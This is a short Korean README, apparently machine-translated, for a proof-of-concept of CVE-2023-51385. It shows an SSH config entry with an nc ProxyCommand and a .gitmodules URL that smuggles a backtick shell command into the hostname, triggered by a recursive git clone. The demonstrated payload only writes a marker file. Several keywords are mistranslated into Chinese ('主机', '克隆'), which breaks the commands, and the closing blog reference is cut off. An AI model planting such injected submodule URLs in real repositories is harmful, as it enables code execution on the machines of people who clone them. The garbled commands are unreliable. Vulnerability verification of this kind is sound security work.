
CVE-2023-51385에 대한 검증
##CVE-2023-51385 검증
###먼저 ~/.ssh/config에 다음과 같이 추가해야 합니다
主机 *.example.com
ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p
.gitmodules파일 구문에는 명령 주입이 존재합니다
url = ssh://`echo helloworld > cve.txt`foo.example.com/bar
구성 완료 후 아래 명령을 실행하여 트리거합니다
git 克隆 https://github.com/zls1793/CVE-2023-51385_test --recurse-submodules
성공적으로 실행되면 CVE-2023-51385_test 디렉터리에 cve.txt 파일이 생성됩니다
![ image-20231225234031349 ] ( https://ltmthink-blogimages.oss-cn-hangzhou.aliyuncs.com/imgs/202312252345762.png )
자세한 내용은 논문 블로그를 참조하세요: